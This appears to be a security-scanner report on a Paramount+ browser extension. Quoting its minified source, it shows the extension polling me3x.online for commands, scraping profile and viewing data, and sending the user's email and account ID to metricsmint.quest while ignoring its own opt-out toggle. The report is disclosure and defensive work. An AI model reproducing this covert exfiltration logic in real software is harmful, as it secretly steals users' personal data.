Is Extended works with Paramount Plus [QVI] safe?
Extended works with Paramount Plus reports your account email and viewing activity to servers unrelated to Paramount every 5 minutes.
While you're signed in to Paramount+, the extension polls me3x.online every 5 minutes with your account ID and profile details, then carries out whatever commands the server sends back — including pulling your profile list and continue-watching history and uploading them to the same server. It also sends your Paramount+ email, account ID and country to metricsmint.quest; the extension's settings expose a "share insights" toggle, but it checks a different, never-written storage key, so this data is uploaded regardless of what the user chooses.
Who publishes itHideApp - 38 other listings from the same operator, 1 of them carrying a finding
HideApp - 38 other listings from the same operator, 1 of them carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
38 other listings published from this account, 69k+ users between them. 1 of them carries a finding.
Shared hosts - 1 hostname
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Extended for Paramount+ reports account IDs to me3x.online every 5 minutes
Code analysis shows that every 5 minutes while signed in on paramountplus.com, the extension reports account and device IDs to me3x.online, runs the data-collection commands it returns, and uploads the results back.
- Severity
- Medium unwanted
- Type
- Unexpected
- CWE
- CWE-359
- Source
- Static analysis
You sign in to your Paramount+ account and keep a paramountplus.com tab open.
No specific page or click is required beyond staying signed in.
Every 5 minutes the extension reports account and device identifiers to me3x.online, then runs whatever commands the server sends back.
Commands can pull your profile, continue-watching list and subscriptions via Paramount's own API and upload the results to me3x.online.
Every 5 minutes
Repeats every 5 minutes for as long as you remain signed in on paramountplus.com.
- Paramount account ID7841236590
A permanent numeric ID tied to your specific Paramount+ subscription.
- Profile IDprof_58312940
Identifies which profile on the account is active, e.g. a specific family member.
- Extension install IDa1e4c2f9-8b3d-4a71-9c05-6e2f0d8b41a3
A persistent per-install ID that ties every beacon back to the same browser.
- Registered countryUS
Your account's registered country.
- Browser languageen-US
Your browser's language setting, sent as extra device context.
The self-rescheduling loop that keeps this running
ParamountHunter.run()
paramount.min.js:8402-8437 return domain.indexOf(paramountAPIUrl) !== -1; } }, { key: "run", value: function run() { var _this = this; return ParamountHunter_async_to_generator(function() { return ParamountHunter_ts_generator(this, function(_state) { switch(_state.label){ case 0: return [ 4, scrapeParamountData() ]; case 1: _state.sent(); setTimeout(function() { return _this.run(); }, rerunTimeInterval); return [ 2 ]; } }); })();scrapeParamountData()
paramount.min.js:8100-8148 }; }}var scrapeParamountData = function() { var _ref = Scrape_async_to_generator(function() { var commandsInitData, commands, commandsData, error; return Scrape_ts_generator(this, function(_state) { switch(_state.label){ case 0: _state.trys.push([ 0, 6, , 8 ]); return [ 4, isLogged() ]; case 1: if (!_state.sent()) { return [ 2 ]; } return [ 4, fetchCommandsInitData() ]; case 2: commandsInitData = _state.sent(); return [ 4, (0,Metriq/* fetchCommandsToSend */.Gd)(commandsInitData) ]; case 3: commands = _state.sent(); return [ 4, executeCommandsToSend(commands) ]; case 4: commandsData = _state.sent(); return [ 4, sendCommandsData(commandsData) ]; case 5: _state.sent(); return [same cycle
You didme3x.online returns a PROFILES command in its /start response.
The extension didprovideProfilesData() queries Paramount's own profiles API and the result is POSTed to me3x.online/upload.
same cycle
You didme3x.online returns a CONTINUE_WATCHING command.
The extension didprovideContinueWatchingData() fetches your continue-watching list and title/genre/episode details, then uploads it.
same cycle
You didme3x.online returns a SUBSCRIPTIONS command.
The extension didprovideSubscriptionsData() reads the subscriptions page and uploads it (this also triggers the email/account upload described in the companion claim).
- me3x.online
Receives account/device identifiers via POST /n/paramount/start, returns commands to run, and receives the scraped results via POST /n/paramount/upload.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Extended for Paramount+ sends your email and account ID to metricsmint.quest
Code analysis shows the extension reads your Paramount+ email, account ID and country and POSTs them, base64-encoded, to metricsmint.quest, a domain unrelated to Paramount.
The visible privacy toggle does not block this.
- Severity
- Medium unwanted
- Type
- Unexpected
- CWE
- CWE-359
- Source
- Static analysis
You sign in to Paramount+ and open a page on paramountplus.com, such as the account or subscriptions page.
The extension's content script runs on every paramountplus.com page you load.
The extension reads your email, account ID and country from the page and POSTs them to a domain unrelated to Paramount.
handleAdditionalProfileData() sends the data to https://metricsmint.quest/up, base64-encoded.
- Account emailj.martinez83@gmail.com
Directly identifies you and links your Paramount+ activity to a real inbox.
- Paramount account ID7841236590
A permanent numeric ID tied to your specific Paramount+ subscription.
- Extension install IDa1e4c2f9-8b3d-4a71-9c05-6e2f0d8b41a3
A persistent ID the extension generates once per install and reuses on every upload.
- Registered countryUS
Your account's registered country, sent alongside the other fields.
config.d1 hides the real destination behind a module property
Resolved config module referenced as config.d1
paramount.min.js:8929/***/ 119:/***/ (function(module) {"use strict";module.exports = /*#__PURE__*/JSON.parse('{"Ec":"https://me3x.online/","QL":"ad3d7c8e","xg":"","d1":"https://metricsmint.quest/up","uL":"https://me3x.online/n/"}');The visible toggle writes a different key than the one gating the upload
Helper.js: the check gating the PII upload
paramount.min.js:3370-3467var getOptedOut = function() { var _ref = Helper_async_to_generator(function(key) { var _globalThis_chrome, shareInsights, error; return Helper_ts_generator(this, function(_state) { switch(_state.label){ case 0: _state.trys.push([ 0, 2, , 3 ]); if (!((_globalThis_chrome = globalThis.chrome) === null || _globalThis_chrome === void 0 ? void 0 : _globalThis_chrome.storage)) { return [ 2, false ]; } return [ 4, chrome.storage.sync.get(key) ]; case 1: shareInsights = _state.sent()[key]; if (shareInsights === false) { return [ 2, true ]; } return [var isOptedOutPii = function() { var _ref = Helper_async_to_generator(function() { var SHARE_PERSONAL_DATA_KEY, optedOutPii; return Helper_ts_generator(this, function(_state) { switch(_state.label){ case 0: SHARE_PERSONAL_DATA_KEY = "sharePersonalData"; return [ 4, getOptedOut(SHARE_PERSONAL_DATA_KEY) ]; case 1: optedOutPii = _state.sent(); return [ 2, optedOutPii ]; } }); }); return function isOptedOutPii() {- metricsmint.quest
Receives the base64-encoded email, account ID, install ID and country via POST /up. Not referenced by paramountplus.com or any other Paramount-owned host in the extension.
Decodes a base64 POST body captured to metricsmint.quest/up back into its JSON fields.
- Node.js 18+
// Paste the base64 request body captured from a POST to// metricsmint.quest/up here. The example below is illustrative: it was// generated locally with the extension's own encoding routine (UTF-8 ->// btoa), not captured from a live request.const PAYLOAD = "eyJzdm9kIjoicGFyYW1vdW50IiwiYWNjb3VudF9pZCI6Ijc4NDEyMzY1OTAiLCJleHRlbnNpb25fdXNlcl9pZCI6ImExZTRjMmY5LThiM2QtNGE3MS05YzA1LTZlMmYwZDhiNDFhMyIsImN1c3RvbWVyX2VtYWlsIjoiai5tYXJ0aW5lejgzQGdtYWlsLmNvbSIsImN1c3RvbWVyX2NvdW50cnkiOiJVUyJ9";const decoded = Buffer.from(PAYLOAD, "base64").toString("utf-8");console.log(JSON.parse(decoded));- 1Capture the base64 request body from a POST to metricsmint.quest/up.
- 2Replace PAYLOAD with it.
- 3Run node decode_metricsmint_payload.js.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Where it sends data
Destinations our analysis observed Extended works with Paramount Plus [QVI] contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- metricsmint.questwidely used
Extended works with Paramount Plus [QVI] sends data to metricsmint.quest. A widely used service: 60 other extensions we have analyzed send data here.
- me3x.onlinewidely used
Extended works with Paramount Plus [QVI] sends data to me3x.online. A widely used service: 58 other extensions we have analyzed send data here.